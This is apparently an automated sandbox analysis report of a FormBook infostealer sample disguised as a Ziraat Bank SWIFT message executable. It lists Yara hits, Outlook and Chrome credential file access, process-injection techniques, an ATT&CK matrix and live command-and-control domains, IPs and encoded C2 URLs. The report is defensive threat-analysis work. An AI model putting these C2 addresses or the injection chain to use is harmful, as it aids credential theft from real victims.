          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Windows\SysWOW64\systray.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts1
          Shared Modules          		Path Interception612
          Process Injection          		1
          Masquerading          		1
          OS Credential Dumping          		121
          Security Software Discovery          		Remote Services1
          Email Collection          		Exfiltration Over Other Network Medium1
          Encrypted Channel          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
          Disable or Modify Tools          		LSASS Memory2
          Process Discovery          		Remote Desktop Protocol11
          Archive Collected Data          		Exfiltration Over Bluetooth3
          Ingress Tool Transfer          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)31
          Virtualization/Sandbox Evasion          		Security Account Manager31
          Virtualization/Sandbox Evasion          		SMB/Windows Admin Shares1
          Data from Local System          		Automated Exfiltration4
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)612
          Process Injection          		NTDS1
          Remote System Discovery          		Distributed Component Object ModelInput CaptureScheduled Transfer114
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
          Deobfuscate/Decode Files or Information          		LSA Secrets13
          System Information Discovery          		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common3
          Obfuscated Files or Information          		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup Items12
          Software Packing          		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
          Timestomp          		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
          File Deletion          		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 755920 Sample: Ziraat Bankasi Swift Mesaji... Startdate: 29/11/2022 Architecture: WINDOWS Score: 100 25 www.thetrendsinfo.com 2->25 27 thetrendsinfo.com 2->27 45 Malicious sample detected (through community Yara rule) 2->45 47 Antivirus detection for URL or domain 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 6 other signatures 2->51 8 Ziraat Bankasi Swift Mesaji20221129-34221.exe 3 2->8         started        signatures3 process4 file5 23 Ziraat Bankasi Swi...21129-34221.exe.log, ASCII 8->23 dropped 53 Injects a PE file into a foreign processes 8->53 12 Ziraat Bankasi Swift Mesaji20221129-34221.exe 8->12         started        15 Ziraat Bankasi Swift Mesaji20221129-34221.exe 8->15         started        signatures6 process7 signatures8 55 Modifies the context of a thread in another process (thread injection) 12->55 57 Maps a DLL or memory area into another process 12->57 59 Sample uses process hollowing technique 12->59 61 Queues an APC in another process (thread injection) 12->61 17 systray.exe 13 12->17         started        20 explorer.exe 12->20 injected process9 dnsIp10 35 Tries to steal Mail credentials (via file / registry access) 17->35 37 Tries to harvest and steal browser information (history, passwords, etc) 17->37 39 Deletes itself after installation 17->39 43 2 other signatures 17->43 29 www.oaksinstitute.net 103.11.189.189, 49701, 49702, 80 VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG Singapore 20->29 31 notarpucarhr.com 141.136.43.229, 49698, 80 SENDER-ASLT Lithuania 20->31 33 3 other IPs or domains 20->33 41 System process connects to network (likely due to code injection or exploit) 20->41 signatures11

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          Ziraat Bankasi Swift Mesaji20221129-34221.exe44%VirustotalBrowse
          Ziraat Bankasi Swift Mesaji20221129-34221.exe39%ReversingLabsByteCode-MSIL.Trojan.Woreflint
          Ziraat Bankasi Swift Mesaji20221129-34221.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          6.0.Ziraat Bankasi Swift Mesaji20221129-34221.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File

          Domains

          SourceDetectionScannerLabelLink
          www.oaksinstitute.net0%VirustotalBrowse
          thetrendsinfo.com3%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          http://www.fontbureau.coml10%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/00%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/Y00%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/$0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/Y0%URL Reputationsafe
          http://www.galapagosdesign.com/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/S0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/P0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/x0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/l0%URL Reputationsafe
          http://www.carterandcone.comFH0%Avira URL Cloudsafe
          http://www.carterandcone.com690%Avira URL Cloudsafe
          http://www.fontbureau.commsedY0%Avira URL Cloudsafe
          http://www.carterandcone.comre0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.carterandcone.com0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K100%Avira URL Cloudmalware
          http://www.jiyu-kobo.co.jp/jp/l0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.fontbureau.comF0%URL Reputationsafe
          http://www.carterandcone.comfac0%URL Reputationsafe
          http://www.fontbureau.comL.TTF0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.monotype.0%URL Reputationsafe
          http://www.fontbureau.comm0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.carterandcone.coml-B(0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cno.0%URL Reputationsafe
          http://www.carterandcone.comhy/0%Avira URL Cloudsafe
          http://www.founder.com.cn/cntsP=0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cno.z0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/ry0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cnV0%Avira URL Cloudsafe
          http://www.carterandcone.compe0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/Y0P0%Avira URL Cloudsafe
          http://www.sajatypeworks.comegr0%Avira URL Cloudsafe
          http://www.fontbureau.comicu0%Avira URL Cloudsafe
          http://www.fontbureau.comalicg0%Avira URL Cloudsafe
          http://www.sajatypeworks.comU0%Avira URL Cloudsafe
          http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K100%Avira URL Cloudmalware
          http://www.fontbureau.coma$0%Avira URL Cloudsafe
          http://www.sajatypeworks.comers0J0%Avira URL Cloudsafe
          http://www.founder.com.cn/cntsP=tx0%Avira URL Cloudsafe
          http://www.sajatypeworks.comegrjJH0%Avira URL Cloudsafe
          http://www.carterandcone.com8I0%Avira URL Cloudsafe
          http://www.carterandcone.comsigW0%Avira URL Cloudsafe
          http://www.carterandcone.comily0%Avira URL Cloudsafe
